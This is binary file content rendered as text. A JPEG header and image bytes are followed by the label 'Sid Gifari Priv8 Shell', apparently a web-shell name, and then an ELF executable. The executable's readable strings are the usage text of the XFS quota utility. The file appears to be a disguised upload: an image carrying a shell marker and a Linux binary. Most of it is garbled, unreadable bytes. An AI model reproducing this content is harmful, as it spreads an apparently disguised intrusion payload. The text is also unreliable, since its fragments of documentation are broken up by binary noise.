���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��Sid Gifari Priv8 Shell ELF>@@@L@8 @@@@@@88@8@@@33 >>a>adP >>a>aTT@T@DDPtd00A0ADDQtdRtd>>a>a/lib64/ld-linux-x86-64.so.2GNU GNUiF-il*'#kH!\ HKO(BE|fUaqX92QJ@[6:}9Ch'$#2) uoL Tv[vZq3aaxBadBaPBadBa! @BaBa0@Balibreadline.so.6__gmon_start___initreadline_finiadd_historylibc.so.6__xpg_basename__printf_chksetgrentexitsetlocalestrncmpoptindgetpwent__strdupperrordcgettextgetpwuidgetgrgidstrncpytimegetgrent__stack_chk_failputcharreallocstdinstrtollendpwentstrtolsetmntentfgetsgetpwnamcallocstrlen__errno_locationendgrentgetopt__fprintf_chkgetgrnamstdoutfputcfclosenftw64getmntentstrtoulmalloc__strndupgetgidfstatfs64hasmntopt__xstat64__ctype_b_locsscanfoptargstderrioctl__snprintf_chkgetgroupsgetuid__realpath_chkfwritequotactlstrchrendmntentfdopenqsort__ctype_tolower_locfopen64bindtextdomainaccessstrcmpstrerror__libc_start_mainsetpwentsysconffree_edata__bss_start_endGLIBC_2.3GLIBC_2.3.3GLIBC_2.4GLIBC_2.3.4GLIBC_2.2.5Bii si ii ti ui ?a)BaHBaKBaOBaQBaN@a @a(@a0@a8@a@@aH@aP@aX@a `@a h@a p@a x@a @a@a@a@a@a@a@a@a@a@a@a@a@a@a@a@aAaAaAa Aa! Aa"(Aa#0Aa$8Aa%@Aa&HAa'PAa(XAa)`Aa*hAa+pAa,xAa-Aa.Aa/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Aa:Aa;Aa<Aa=Ba>Ba?Ba@BaA BaB(BaC0BaD8BaE@BaFHBaGHH)!HtH5)!%)!@%)!h%)!h%)!h%)!h%)!h%)!h%)!h%)!hp%)!h`%)!h P%)!h @%)!h 0%)!h %)!h %)!h%z)!h%r)!h%j)!h%b)!h%Z)!h%R)!h%J)!h%B)!h%:)!hp%2)!h`%*)!hP%")!h@%)!h0%)!h % )!h%)!h%(!h%(!h %(!h!%(!h"%(!h#%(!h$%(!h%%(!h&%(!h'p%(!h(`%(!h)P%(!h*@%(!h+0%(!h, %(!h-%(!h.%z(!h/%r(!h0%j(!h1%b(!h2%Z(!h3%R(!h4%J(!h5%B(!h6%:(!h7p%2(!h8`%*(!h9P%"(!h:@%(!h;0%(!h< % (!h=%(!h>%'!h?%'!h@%'!hA%'!hB%'!hC%'!hD%'!hE%'!hFAUATUSHHH>I@HH@@d@ @Hމ,D4$@@H'!H H'!Hؤ묋'!H='!L-j'!D`D%w'!McIL(HHf'!dNl dH=/'!SHv@1Hƹ@H11gH&!Hy H&!HnH@1IH=&!HHپ10&!H &!Hc)H4Ӌ&!賟H=&!"0訧5+BfM\+6u@gHc&!9u!HH~Y_Z[]A\A]H<þ]HVֿ@ @1I^HHPTI@H@Hǐ@fDoBaUH-hBaHHw]øHt]hBahBaUH-hBaHHHH?HHu]úHt]HƿhBa=1%!uUH~]%!@H=h !tHtU>aH]{s R9~EHcHHHH8 fH@9t Hrȃu9H5MDH51@f.MILI*MxwI*1^IHxDH*f.{IȺHuAMH1DHIHAL H*XDLMHAL H*XpfLAHL H*XIDAUHATIUSHHdH%(HD$81HQ~ HA@HDHW)QΠEHHHH?HH H)Åt HiÀQH)H|jYHHHHH?HH H)Ņt HiH)@tc@1qI  Ca1CH|$8dH3<%(CaHH[]A\A]Mu#@1 I@HHHHH?L$ II)LN,HI)DD T4@1H$AA9@  Ca1p(@1lI@H|$0t$,1LH+D$0t$,HI7%@1,I@@tZ4@1H$Dl$ADd$l$AA@  Ca1rD@A@LEDl$D$$A  Ca1o'0@1nif0@1Tjf.E1HSHt\HH3HHH)HufHHHHHHHH HHHu\AAX@HH1H[DIIH߹h@o@H[f.IA@@HeIIH߹\@c@?H[f.IAH߹t@{@H[fDIA @@H,fDIA@@H@f.E1HSHIŭ5L9Id L9IƤ~L9IL9Hʚ;H@BwrHAvIA@@HAX@HH1H[I@Hߺ@H[@IA@B@@HI@Hߺ@H[@I@Hߺ@qH[@I@@HSZfDIAʚ;@@H-4E1HSHt-Hx_H*HY'xoH*^XL,ȉHH1A@@HIH[fHHH HH*XYyHHH H*X|@AT@U1SY1@HE1@I1@u@Lu 1ۃHEH[]A\ÐAT@U1S1@H1"@I@u@Lu 1ۃHEH[]A\ÐAUATAAUKSHLCfH9Cf! =fDHX dCa_!H0wM!<!%HH HCfztP9uH!HCfH!HBH !HBH !HBH!HB HBH[]A\A]H !9H CfH!HBH!HBH!HBH!HB t H{m!*HPdCaS!H0 fKH ;!HHCfHCfH*!HPH'!HPH$!HPH!!HP HIE[]A\A]fDA}>K1@AUATAAUKSHLcH9c! =fDHX $Ca!H0g9!(!%HH HcztP9uH!HcH!HBH!HBH!HBH!HB HBH[]A\A]H y!9H cHp!HBHm!HBHj!HBHg!HB tH+Y!HP$Ca!H0 VKH !HHcHcH!HPH!HPH!HPH!HP HIE[]A\A]fDA}>K1@AUATAAUKSHLCaH9Cam! =fD{HHp Ba!W%!!%HH HCaztP9uHu!HCaHo!HBHl!HBHi!HBHf!HB HBH[]A\A]H )!9H CaH !HBH!HBH!HBH!HB t茓HE!蚔HHpBa! FKH !HHCaHCaH!HPH!HPH!HPH!HP HIE[]A\A]fDA}>蓑K1@AUATUSHHHH!t(1x E@HtcH[]A\A]@Q8*H-Ӓ*@1IH=h!HMIH118L%G@1IH=!HMIL11?f.@Hx@1[HH1H@1+HH1H@1HH1XAWEAVMAUAATLcLUHSH t1H[]A\A]A^A_fJl%DDH{HL%B@t'H»H HI~HuL%@1HH=!HIL1,tAUE1ATE1UHSHdH%(HD$x14@Htlbwt$Ű@DAfAAf.Àf.Af.A@f.Hc!P9t2fhrHL$xdH3 %(HĈ[]A\A]@!H|0}EIDDEAt ADEHˏHIH01H$DT$fDd$DL$8DL$ffu+L- !f;- !|tDtDt?t:D[]A\A]A^@hjfDyqMt2@LiHHt)HljH[]A\A]1A^ÉLj8Hk1@HH= !HIMHپ1xfDAWAVE1AUATE1UHSHHt$Adu+AANADAfhiAHL$xdH3 %(DHĈ[]A\A]A^A_f.AHA8AHc!Dd$,9~E1DzDAHcU!A9PDD$@1H-@ijH'@1D$,$H=!HMHپ1DL$,{@f.H1`@H(U@H(8@((1[@H(1w@H(H(0.@Hp(o@Hu(7@s(m(L1@Ha(41@HQ(Hք(@Hۄ( /@ل(ӄ(1@HDŽ(1@H(H(.@H1(@H6(2@4(.(1@H"(uH(0H(-@Hÿh&b@hbhbhHb@H@1 HH1hAWI1AVIAUIATMUHSHHH?H$LL$HD$H$HD$H$HD$ H$HD$(dH%(H$81`H$HT$P1HdXpHT$01HqX D$`1H$T$PH|$HEHD$pHHt$0H)HHH)H HIHH H IIEH$H$I $HH)HD$H|$HD$THHH$HL$8HHH)H H HH|$(HH HH|$ HH$8dH3%(HH[]A\A]A^A_f}18 LEH }IH=U!@11뎿@fO1v@F/1V.@&16AWAVA1AUATAUHHSHH$dH%(H$1uH$xHHC8L+L$1ɺL~^x$tH{011SAH$HX1 X$$DSr[<1v@HHƿ1Ht'H]@1HHƿ1) vHD$XdH3%(xH`[]A\A]A^DH311IRuf|$t@D$uHu`1 @ty@1IP@1T$tU`@u@@1T$ t\`@@HDо@1fDtʅ`@@HDо@1T$`@@HDо@1fw@1O+@@f.U1S1Ho~(@HH=o11҉H@9noH1[]Ðf.U1S1HHo~5@HH=>o1H;=%o޺H@9oH1[]@f.USHnH~ 1cHË-nx n94ͺ @1MHƿ1H1[]@HcHHznHcnH1[]D@1_H1H1[]H[]DH1@Hs(@Hs(@1H@Hs(Hr(0Q@r(r(r(1x@Hr(Hfr(@Hcr(AH`r(P@^r(Xr(Vr(mHVr((mt @h2OhH$O@H@1+HH1AWAVAAUAATIU1S1HdH%(HD$x1@LDC0$@fH= iH= 1 AHƉ ofD_fDhNHL$xdH3 %(CHĈ[]A\A]A^A_D;-Y t۸Dip: D)ŃA9LHI<\p(&Hc HT$ 11M4cH|$ fHtzP<;p(tuLx0;u=@15LHL1d\@LH|$ lfHuD= E@1IH j@1LL$HL$LL$HL$HD<$M1 A9ʼn 1BH=qj1‹ HSj@1j0H= HHپ111@LLHƿ1ZdpW@LfD1@LLHƿ1dY@L;}fDHc L5zi12iH@I,SH= HMH17f@1$IIHh@1hH=c HAHپ11fAUATUSHH8dH%(HD$(1 x ;AF%= t|tttl1HH1HX觿1H X@$$D$ O萿1:@H-g@1H=I HIH11H\$(dH3%("H8[]A\A]bgH-Og@fDBg衽8zH-#g@1IOH= HMIH101gffA8L%fIźP@1H=X HMIL1fDzfټ8L%[fIźp@觽AUATUSHH8dH%(HD$(1} x ;AF%= txtp1H聿H1HXS k(H X@ $D$ 1)I:1H{0DE1H+H[0@1UIHHL1=1fHHtOH,HtH1Hž@IHM1ILHݲHuL%m/H?1@赯IH¹ML1蘲讯@f.AWAVE1AUE1ATE1UHSHHD$@H a$@DAfAf.Af.Af.AAf.AoH! HD$WÀGA7A 'EDDEt7At7At1At+DHh[]A\A]A^A_9AH|$HItJHcq 9tP~-PEDLV HLDHcB 9H|$tL莭H1[]A\A]A^A_A u$HV@8tHH0EDDLE1DDLp@f.H1@H[(@H[(g@[([(11@@H[(H[(UH[(0_@u HhH7fH@1ˬHH1(Su脬HtH[f.AA@  1\[DAWAVI1AUEATAUSHXHT$HHT$Pt$0DD$4dH%(H$H1M@H|$PvPHHH+D|$4E11ɿDHm6L$0L$DHQ6xAuA1At1H$At H$At H$ufDD$(DD$DAD$ .DA|$4&1H@HD$8 DL$0LD$HHHL$81H$}@LT$(TDL$Et,E`@1ĪH¾L1貭DD$ Et,E@1莪H¾L1|L @UEHuL1@LI~P~@@L1+5fEHAEt1@L |$(H$DHtH;$ACH$HtH;$BEHc$fH$H$0$HD$@/H$H$@HD$8H$H$ HD$(HL$@LL$8@LD$(,$LHL$H1t$H$DHtH;$ACH$HtH;$BEHc$uH$H$0$HD$8δH$H$@HD$(说H$H$ HD$萴HL$8LL$(@LD$,$LHL$H1L$ H$DHtH;$ACH$HtH;$BEHc$Y脯H$H$0I$OH$H$@HD$ 0H$H$ HD$LL$ LD$HL|$,$@L1(HK0 AL1A ˮHD$$ @H$L$L$L$HII1趩{HD$$ @L$L$H$L$1oXf.+HD$$ @H$L$L$L$HII1H$HdH3%(HX[]A\A]A^A_~@@L1Ǩf@1败@1蜥 @1膥H¾L1t芥f.|$4G1H@HD$8ADL$0LD$HHHL$81H$v@LD$($(@1pfDSuDHtH[f.AA@  1蜣[DAWAVAUATAUHSDH(dH%(HD$1Pt*HD$dH3%(GH([]A\A]A^A_HHH4$?L$LL$;HL$DhHHD$dH3%(AADHHH4$;?L$LL$3HL$kxL|$Ll$$AE1%MۉD$ t+AADLHIE9aC|t$ CC|IfHHH4$>L$ucLL$LHL$:D(HPHD$dH3%(AAH(HD[]A\DA]A^A_Jf.1 LIAuKHuf.EA@ 1<_f L1豣މAŁoH Lߺ 1聣IʼnǁD$DIT$sL͠fH4$bIL$HcL$H胣HIL$DHXAL$tA}${މAŁH:1p@IHIHT$dH3%(H=c H(H[]A\A]A^A_H¾1ӣE1LL$ğ菢L$D$$HiIL$bI$@1芠HT$dH3%(L$uoH= H(H[]A\A]A^A_HMؾ1LL$ IHH@L$HHH @v"fAWAVE1AUE1ATE1UHSHHD$@@H艢N($h@DAfAf.Af.Af.AAf.AoA_H HD$GA7A'EDDEt7At7At1At+DH[]A\A]A^A_H*AH|$ HItJHc 9tP~-PEDL HtDHc 9H|$tLH1[]A\A]A^A_EDD1LH@1H-CAH-M@H-@w@--֝1O@H-辝H-`j@H-H~(f.@H@1{@1H-c@1H-KHH1騟Hw@1@1Hp-@1H`-HH1HAUAIՉʉATIULHSHdH%(H$1ALD$0ۃ'IMtD$4AEH|$@u H|$8x@1HLAH$HT$xHu HHD$HD$HLL$8LD$@LL$4HT$@HD$HD$PH$1H$dH3 %(Hĸ[]A\A]DH|$PTH|$HHH$9H|$x(fDHD$HLL$80@LD$@L$4LHD$HD$PH$1CWf[Pv1&t,1/Q@D$,裝D$,f.1@AWIAVAAUE1ATE1U1S1H(dH%(HD$1f@LD`t{L)$xAL- H= 1śAH= 1譛vfDD;5y t7%HL$dH3 %(H([]A\A]A^A_t u~fDL@HItaHBH@0HHD${:HIEtOD9w!DME11҉LD9vMtL1Jt6sLHT$1ALQu]uDK!fpME1ɹ1LsHu`@D$MHT$ALpu4LD$H LAP@H= 1;Aj谘fDpME1ɹ1Lp蛗Hu&?fDfDM0E1ɹ1L1<@Hu?ffDAWAVEAUATEUH͉SHHHT$$XLD$0L$PdH%(H$1IuDEAAD"HtD$4E$X@tD1At 1H|$XAt H|$`AH$fEDAA$XD$$Dt$ 8$XH|${HL$@H1貙E$XHT$8H҉t H;T$XCHT$@Ht H;T$XBHc|$l</H|$8H$IDt$rH|$@H$IH|$XH$IĺˠL|$HD4$MM@H1T$$$XHT$HH҉t H;T$`CHT$PHt H;T$`BHc|$h_H|$HH$IDt$p迡H|$PH$I襡H|$`H$Iĺ苡L|$HD4$MM@H1D$ $XHD$xHtH;$CH$HtH;$BHc$胜H|$xH$ID$PH$H$I3H$H$HźLt$HD,$MI@H10H޿ @1H$dH3 %(2H[]A\A]A^A_D Pv&tAuQ@\f.D蘢ME0Mu@1HLD$(臓LD$(MHHH1A dH޿ AuE$XADT$$EzDL$ E/H޿ ғH$IA@@@1ۑH$1@HϕEt,Ep@1谒H¾H1螕DD$$Et,Ey@1zH¾H1h|$ t,E4p@1FH¾H14H޿ A H޿-ӒAuH޿ AEAA!Et.1҉H޿-萒D9rH޿ ~t$$t(1҉fH޿-`A9wH޿ NL$ t(1҉fH޿-0A9wH޿ H޿ d@L$4@H10yHD$D$r0@HL$XLL$8LD$@H߉$HII1D諘HD$$0@H$LL$xL$H߉$HII1虓d@[HD$D$p0@LL$HLD$PHL$`H߉$1[AfDAJAft'AOL$4@H1e|$4nHtHHD$H|$t)@vEI@@A HDоH1踒9EI@@A HDоH1{II$X@A H߃AŸ@HD14@1#n@1@1|$4ӎH|$4L8HH@HD$AWAVAUATEUSHHT$HL$ dH%(H$1DD$D$:D$u+H$dH3%(HĨ[]A\A]A^A_fHD$@H|$ HHD$/$D$$D$($ D$ H|$V2HIoI6E11ɺSEtnD|$D$E9w:@1Dl$1DL4$AAHDDEAE9sApH޿ ^fDD$HL$<11L4$AAH߉D$Bt~D$ HL1rrofAWAVAUATEULSHHdH%(H$1$ H$IIIκ@1HH*H|$@f(L$L$H;Hsf(@H|$P@ A1oMMHLHƿ1UqA*H;HsHA1D$nD$LL$PL$HT$HDqH$dH3%(H[]A\A]A^A_H$@HA*H;HsUD$H;HsH*>L$L$DH)Afpa nf.fH=u(L ArA 1l !nHt8tHHD$ mHD$HAWAVIAUATUHSH]nHIE1Htjf HsmHtnHX}u Ht=HE}ALMcIL=oHIt=HJl(JD(EuE.HL[]A\A]A^A_f.1@E1E1SHkH[k@f.AUIATIUH1HSHHdH%(HD$1mHHH$u H9*H@t@zaoHb$8AHHeAAAjfDf.8es.f.>er>Y:eAAA6f.YeAAAAAHhf.AT1IUSHHdH%(HD$1lHHH,$u L9&DeHEAmAHAHAhAHAHAd4@H6jAwu}t,AHtAH18uHiÀ: HL$dH3 %(H[]A\}fDHHHH)@1@}fDHi뗀}t/4@Hlit}a<}y2}(HiÀQVIhfHH@B~ H@BHHHÐH)Hy H@BHH)HfDH*H*^bX^DH(IH*GH^bLu M^LI|jYHHIH,LH?IѺdI I)‰D$LHJHH)LHIHH)ЉD$IiI)LH1J I?HL)AA $HeH(@HHIH=AHH|jYHI?HHIH L)HiH)HIH,L :dH?IA)L‰D$HIHHL)HIHIL)A A$1*eH(DL,A*AHL1H(Ei'd@S HHHdH%(HD$1h;t&H$:uH9v f.HHtHL$dH3 %(uH[e@S HHHdH%(HD$1+hH$H9t2:u-H9vHL$dH3 %(uH[@HHfHtҋP)efS HHHdH%(HD$1gH$H9t2:u-H9vHL$dH3 %(uH[@H(fHtҋPdfUSHHdH,@g HHDJtH9uH[]ÐH1[]SHHHHdH%(H$1cxND$%= t.H$H1H$dH3 %(u+HĠ[fHD$(H1@bcfAWAAVAAUIATIULSLH8Ht$HD$ HD$dH%(HD$(1HD$u,HtHt$HuHtLHt$ Ht;H߉D$ bHbD$ HL$(dH3 %(H8[]A\A]A^A_LcHILcHI H= pHcHdHtqHc x Hy HHLb0DzLpH<$1HHLItY8t HH9xtH@H@H9u1H|$dH3<%(uH[^UIHAXSHH@@D1AHt HAt 1HfGAtMtkLHtPHHSHPHS HPHS(HPHS0HP HS8HP(HS@HP0HSHH@8HCPHCHCkH[]DHHCAH1DHzAW@@1HAfWf.HxHt$HD$dH%(HD$h1uTHT$1D$t$H|$ L$LD$9v)f.PHHt2H8tL9@t9w1H|$hdH3<%(uHxf.Hu1\f.AVAUATE1HUHStxA+HHHtD9#uH{Ht7H{HE1ɋ3E1Ht$[]A\A]1A^f;[8_Lk1HAI[H=N HHMM1^HHVD[H]A\A]A^G7%fWHHHGOt P8u9w1ff.AWAVAUAATUSHHL$~hGHLd@H+HtA^L=A1IZH=X HMIL1]HL9uA~lH\$AELdDH+H tA]L-KA1IwZH= HMIL1X]HL9uH[]A\A]A^A_19j:]H(A1HZH=x HH[IH¾]A\A]A^A_1\D1IuATUSHrHt%HE1E1Hu[]A\@\H-EPA1IqYH=ڄ HMIH1R\(\H=8t&H=6t f.HA@H~AHH=Ht0H=t@LZHHHAH~A~A@f.HH=t:H=Ht@YHHHmAAfDHM~A빐f.H=iHtHWHPHH=ff.H= HtHWHHHff.HHUSH`XH=#ty:`WHHtbHhHH-`H=wM:HWHtH 1XHS`EH[`]fH9Z@H1[]1@UHSHH{HWt HHuH=HtrVHHH[]f.USH9+t HHuH=HtVHHH[]fHIHUSH@ WH= #tq:@:VHHtZHhHH-@H=wE HVHt 1@H--WH@[]Hb@H1[]1ff.SHHXH0dH%(HD$(1HUuT$ HL$(dH3 %(uH0[ÿ?@W1UUSHXH8dH%(HD$(1HUUuH X@߉l$ >UHL$(dH3 %(uH8[]TfHSHtGHA1WHS(HtA1VHS0 A[1VH1AVHSHtA1VUSHt=H~HHHH}HQHC8HtH1[]DHcHHHH9s,fDH;HH@ HcHHwH9rںA1SH1UH1[]fH]1A[SHHƿ1UN@HA1HeAHb@H_@]WUR1AHARH8Hf.Df.H1AHAHAH@LRHHAWAAVIAUIATL%x UH-x SL)1HHPHtLLDAHH9uH[]A\A]A^A_Ðf.HH/usr/share/localexfsprogsrealloc%s version %s 4.5.0c:d:D:P:p:t:xVUsage: %s [-V] [-x] [-p prog] [-c cmd]... [-d project]... [path] @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r@*@@@@@@@@@@@@@@@@ @@@@@%02u:%02u:%02u[%02u:%02u:%02u][-none-][--none--][------][--------]daydays[%u %s][%u %s %02u:%02u:%02u]%4u%3.1fE%3uE%3.1fP%3uP%3.1fT%3uT%3.1fG%3uG%3.1fM%3uM%3.1fK%3uK%3.1fs%3us%3.1fr%3ur%3.1fg%3ug%3.1ft%3ut%3.1fb%3ub%3.1fm%3um%3.1fk%3uk???%3uInodesRealtime BlocksUserGroupProject%s: open on %s failed: %s w%s: fdopen on %s failed: %s Y@? modify the number of quota warnings sent to the specified user Example: 'warn 2 jimmy' (tell the quota system that two warnings have been sent to user jimmy) Changes the warning count associated with the block limits, inode limits and/or realtime block limits for the specified user, group, or project. When a user has been warned the maximum number of times allowed, the soft limit is enforced as the hard limit. It is intended as an alternative to the timeout system, where the system administrator updates a count of the number of warnings issued to people, and they are penalised if the warnings are ignored. -d -- set maximum warning count, which triggers soft limit enforcement -g -- set group quota warning count -p -- set project quota warning count -u -- set user quota warning count -b -- set the blocks-used warning count -i -- set the inodes-used warning count -r -- set the blocks-used warn count for the (optional) realtime subvolume The user/group/project can be specified either by name or by number. modify quota enforcement timeout for the current filesystem Example: 'timer -i 3days' (soft inode limit timer is changed to 3 days) Changes the timeout value associated with the block limits, inode limits and/or realtime block limits for all users, groups, or projects on the current filesystem. As soon as a user consumes the amount of space or number of inodes set as the soft limit, a timer is started. If the timer expires and the user is still over the soft limit, the soft limit is enforced as the hard limit. The default timeout is 7 days. -d -- set the default values, used the first time a file is created -g -- modify group quota timer -p -- modify project quota timer -u -- modify user quota timer -b -- modify the blocks-used timer -i -- modify the inodes-used timer -r -- modify the blocks-used timer for the (optional) realtime subvolume The timeout value is specified as a number of seconds, by default. However, a suffix may be used to alternatively specify minutes (m), hours (h), days (d), or weeks (w) - either the full word or the first letter of the word can be used. modify quota limits for the specified user Example: 'limit bsoft=100m bhard=110m tanya Changes the soft and/or hard block limits, inode limits and/or realtime block limits that are currently being used for the specified user, group, or project. The filesystem identified by the current path is modified. -d -- set the default values, used the first time a file is created -g -- modify group quota limits -p -- modify project quota limits -u -- modify user quota limits The block limit values can be specified with a units suffix - accepted units are: k (kilobytes), m (megabytes), g (gigabytes), and t (terabytes). The user/group/project can be specified either by name or by number. %s: Error: could not parse size %s. %s: Warning: `%s' in quota blocks is 0 (unlimited). %u %llu %llu %llu %llu %llu %llu %s: cannot find any valid arguments [-g|-p|-u] bsoft|bhard|isoft|ihard|rtbsoft|rtbhard=N -d|id|namerestore quota limits from a backup fileset quota enforcement timeouts[-bir] [-g|-p|-u] value -d|id|nameget/set enforcement warning counterbgipru%s: cannot set timer: %s %s: cannot set warnings: %s bdgipru%s: invalid user name: %s %s: invalid group name: %s %s: invalid project name: %s %s: cannot set limits: %s fs = f:gpu%s: fopen on %s failed: %s dgpuisoft=rtbhard=%s: unrecognised argument %s ihard=rtbsoft=limitmodify quota limitsrestore[-g|-p|-u] [-f file]timer[-bir] [-g|-p|-u] valuewarn/@/@/@/@/@/@/@/@/@/@/@/@/@/@/@/@/@/@/@x/@`2@2@P2@2@2@2@2@2@2@2@2@2@2@2@2@2@2@2@2@p2@ reports the number of free disk blocks and inodes This command reports the number of total, used, and available disk blocks. It can optionally report the same set of numbers for inodes and realtime disk blocks, and will report on all known XFS filesystem mount points and project quota paths by default (see 'print' command for a list). -b -- report the block count values -i -- report the inode count values -r -- report the realtime block count values -h -- report in a human-readable format -N -- suppress the header from the output %s: project quota flag not set on %s %s: project ID %u (%s) doesn't match ID %u (%s) 1K-blocks Used Available Use%% Inodes IUsed IFree IUse%%show free and used counts for blocks and inodes%s: cannot open %s: %s fstatfsXFS_IOC_FSGEOMETRY_V1XFS_IOC_FSCOUNTSFS_IOC_FSGETXATTRXFS_GETQUOTAFilesystem Filesystem Size Used Avail Use%% Inodes Used Free Use%% Pathname %-12s %12s%-19s %19s %6s %6s %6s %3s%% %10llu %10llu %10llu %3s%%bf:hNirdffree[-bir] [-hn] [-f file]@L@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@PL@0L@PL@PL@PL@ L@PL@L@L@PL@PL@PL@PL@PL@PL@PL@PL@K@, %c%03d%c %-19s %s (project %u, %s (uquotauqnoenforce%sgquota%sgqnoenforce%spquota%spqnoenforceNo paths are available pathpaths[N]print%sFilesystem Pathname value %d is out of range (0-%d) set current path, or show the list of pathslist known mount points and projects list projects or setup a project tree for tree quota management Example: 'project -c logfiles' (match project 'logfiles' to a directory, and setup the directory tree) Without arguments, report all projects found in the /etc/projects file. The project quota mechanism in XFS can be used to implement a form of directory tree quota, where a specified directory and all of the files and subdirectories below it (i.e. a tree) can be restricted to using a subset of the available space in the filesystem. A managed tree must be setup initially using the -c option with a project. The specified project name or identifier is matched to one or more trees defined in /etc/projects, and these trees are then recursively descended to mark the affected inodes as being part of that tree - which sets inode flags and the project identifier on every file. Once this has been done, new files created in the tree will automatically be accounted to the tree based on their project identifier. An attempt to create a hard link to a file in the tree will only succeed if the project identifier matches the project identifier for the tree. The xfs_io utility can be used to set the project ID for an arbitrary file, but this can only be done by a privileged user. A previously setup tree can be cleared from project quota control through use of the -C option, which will recursively descend the tree, clearing the affected inodes from project quota control. The -c option can be used to check whether a tree is setup, it reports nothing if the tree is correct, otherwise it reports the paths of inodes which do not have the project ID of the rest of the tree, or if the inode flag is not set. The -p option can be used to manually specify project path without need to create /etc/projects file. This option can be used multiple times to specify multiple paths. When using this option only one projid/name can be specified at command line. Note that /etc/projects is also used if exists. The -d option allows to descend at most levels of directories below the command line arguments. -d 0 means only apply the actions to the top level of the projects. -d -1 means no recursion limit (default). The /etc/projid and /etc/projects file formats are simple, and described on the xfs_quota man page. projects file "%s" doesn't exist %s: only one projid/name can be specified when using -p , %d found. %s - no such project in %s or invalid project number Checking project %s (path %s)... Setting up project %s (path %s)... Clearing project %s (path %s)... Processed %d (%s and cmdline) paths for project %s with recursion depth %s (%d). %s: cannot get flags on %s: %s %s: cannot clear project on %s: %s %s: cannot set project on %s: %s %s - project identifier is not set (inode=%u, tree=%u) %s - project inheritance flag is not set [-c|-s|-C|-d |-p ] project ...check, setup or clear project quota treescd:p:sCinfinitelimited%s: cannot stat file %s %s: skipping special file %s projecttreeS@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@T@S@S@T@T@T@T@T@T@T@T@T@T@T@S@T@T@S@ display a summary of filesystem ownership -a -- summarise for all local XFS filesystem mount points -c -- display three columns giving file size in kilobytes, number of files of that size, and cumulative total of kilobytes in that size or smaller file. The last row is used as an overflow bucket and is the total of all files greater than 500 kilobytes. -v -- display three columns containing the number of kilobytes not accessed in the last 30, 60, and 90 days. -g -- display group summary -p -- display project summary -u -- display user summary -b -- display number of blocks used -i -- display number of inodes used -r -- display number of realtime blocks used -n -- skip identifier-to-name translations, just report IDs -N -- suppress the initial header -f -- send output to a file The (optional) user/group/project can be specified either by name or by number (i.e. uid/gid/projid). [-bir] [-g|-p|-u] [-acv] [-f file]summarize filesystem ownershipcallocXFS_IOC_FSBULKSTAT%s (%s) %s: %8llu %-8.8s#%-7d %8llu %8llu %8llu%s (%s): %d %llu %llu abcf:ghinpruvquoth@h@h@h@h@h@ph@h@`h@h@h@h@h@Ph@h@@h@h@0h@h@h@ h@h@ display usage and quota information -g -- display group quota information -p -- display project quota information -u -- display user quota information -b -- display number of blocks used -i -- display number of inodes used -r -- display number of realtime blocks used -h -- report in a human-readable format -n -- skip identifier-to-name translations, just report IDs -N -- suppress the initial header -v -- increase verbosity in reporting (also dumps zero values) -f -- send output to a file The (optional) user/group/project can be specified either by name or by number (i.e. uid/gid/projid). Blocks Quota Limit Warn/Time Blocks Quota Limit Warn/Time Files Quota Limit Warn/Time Files Quota Limit Warn/Time Realtime Quota Limit Warn/Time Realtime Quota Limit Warn/Time %10llu %10llu %10llu %02d %9s Disk quotas for %s %s (%u) Filesystem%s%s: must specify a project name/ID [-bir] [-g|-p|-u] [-hnNv] [-f file] [id|name]...#%uMounted on %6s %6s %6s %02d %8s %s: cannot find user %s %s: cannot find group %s %s: cannot find project %s bf:ghnNipruvlshow usage and limits8x@px@px@px@px@px@px@px@px@px@px@px@px@px@px@px@px@px@px@px@(x@px@px@px@x@x@w@w@px@px@px@px@w@px@w@px@w@px@px@w@w@[-bir] [-gpu] [-ahntlLNU] [-f file]report filesystem quota information report used space and inodes, and quota limits, for a filesystem Example: 'report -igh' (reports inode usage for all groups, in an easy-to-read format) This command is the equivalent of the traditional repquota command, which prints a summary of the disk usage and quotas for the current filesystem, or all filesystems. -a -- report for all mounted filesystems with quota enabled -h -- report in a human-readable format -n -- skip identifier-to-name translations, just report IDs -N -- suppress the header from the output -t -- terse output format, hides rows which are all zero -L -- lower ID bound to report on -U -- upper ID bound to report on -l -- look up names for IDs in lower-upper range -g -- report group usage and quota information -p -- report project usage and quota information -u -- report user usage and quota information -b -- report blocks-used information only -i -- report 